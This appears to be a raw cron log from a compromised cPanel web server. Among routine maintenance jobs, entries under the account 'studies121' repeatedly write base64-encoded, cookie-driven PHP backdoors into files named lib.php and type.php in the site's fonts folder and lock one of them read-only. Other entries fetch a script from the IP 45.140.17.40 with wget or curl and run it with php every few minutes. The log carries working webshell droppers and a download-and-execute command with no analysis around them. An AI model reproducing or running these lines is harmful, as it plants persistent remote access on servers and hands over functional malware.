Sep 20 04:38:01 ip-184-168-122-23 CROND[21128]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 04:38:01 ip-184-168-122-23 CROND[21129]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 04:38:01 ip-184-168-122-23 CROND[21130]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 04:38:01 ip-184-168-122-23 CROND[21131]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 04:39:01 ip-184-168-122-23 CROND[21447]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 04:39:01 ip-184-168-122-23 CROND[21448]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 04:39:01 ip-184-168-122-23 CROND[21449]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 04:39:01 ip-184-168-122-23 CROND[21451]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 04:39:01 ip-184-168-122-23 CROND[21452]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 20 04:40:01 ip-184-168-122-23 CROND[21700]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 04:40:01 ip-184-168-122-23 CROND[21702]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 04:40:01 ip-184-168-122-23 CROND[21704]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 04:40:01 ip-184-168-122-23 CROND[21707]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 04:40:01 ip-184-168-122-23 CROND[21705]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 04:40:01 ip-184-168-122-23 CROND[21706]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 20 04:40:01 ip-184-168-122-23 CROND[21708]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 04:40:01 ip-184-168-122-23 CROND[21711]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 04:41:01 ip-184-168-122-23 CROND[21960]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 04:41:01 ip-184-168-122-23 CROND[21962]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 04:41:01 ip-184-168-122-23 CROND[21964]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 04:41:01 ip-184-168-122-23 CROND[21963]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 04:42:01 ip-184-168-122-23 CROND[22201]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 04:42:01 ip-184-168-122-23 CROND[22203]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 04:42:01 ip-184-168-122-23 CROND[22205]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 04:42:01 ip-184-168-122-23 CROND[22204]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 04:42:01 ip-184-168-122-23 CROND[22206]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 04:43:01 ip-184-168-122-23 CROND[22442]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 04:43:01 ip-184-168-122-23 CROND[22443]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 04:43:01 ip-184-168-122-23 CROND[22446]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 04:43:01 ip-184-168-122-23 CROND[22447]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 04:44:01 ip-184-168-122-23 CROND[22682]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 04:44:01 ip-184-168-122-23 CROND[22683]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 04:44:01 ip-184-168-122-23 CROND[22684]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 04:44:01 ip-184-168-122-23 CROND[22687]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 04:44:01 ip-184-168-122-23 CROND[22685]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 04:45:01 ip-184-168-122-23 CROND[23010]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 04:45:01 ip-184-168-122-23 CROND[23011]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 04:45:01 ip-184-168-122-23 CROND[23014]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 04:45:01 ip-184-168-122-23 CROND[23015]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_mailman_cache && /usr/local/cpanel/scripts/update_mailman_cache)
Sep 20 04:45:01 ip-184-168-122-23 CROND[23019]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 04:45:01 ip-184-168-122-23 CROND[23018]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 04:45:01 ip-184-168-122-23 CROND[23020]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 04:46:01 ip-184-168-122-23 CROND[23252]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 04:46:01 ip-184-168-122-23 CROND[23254]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 04:46:01 ip-184-168-122-23 CROND[23255]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 20 04:46:01 ip-184-168-122-23 CROND[23256]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 04:46:01 ip-184-168-122-23 CROND[23258]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 04:46:01 ip-184-168-122-23 CROND[23259]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 04:46:01 ip-184-168-122-23 CROND[23257]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 20 04:47:01 ip-184-168-122-23 CROND[23518]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 04:47:01 ip-184-168-122-23 CROND[23520]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 04:47:01 ip-184-168-122-23 CROND[23522]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 04:47:01 ip-184-168-122-23 CROND[23521]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 04:48:01 ip-184-168-122-23 CROND[23737]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 04:48:01 ip-184-168-122-23 CROND[23739]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 04:48:01 ip-184-168-122-23 CROND[23738]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 04:48:01 ip-184-168-122-23 CROND[23740]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 04:48:01 ip-184-168-122-23 CROND[23742]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 04:49:01 ip-184-168-122-23 CROND[24013]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 04:49:01 ip-184-168-122-23 CROND[24015]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 04:49:01 ip-184-168-122-23 CROND[24017]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep 20 04:49:01 ip-184-168-122-23 CROND[24018]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 04:49:01 ip-184-168-122-23 CROND[24020]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 04:50:01 ip-184-168-122-23 CROND[24271]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 04:50:01 ip-184-168-122-23 CROND[24270]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 20 04:50:01 ip-184-168-122-23 CROND[24274]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 04:50:01 ip-184-168-122-23 CROND[24275]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 04:50:01 ip-184-168-122-23 CROND[24277]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 20 04:50:01 ip-184-168-122-23 CROND[24278]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
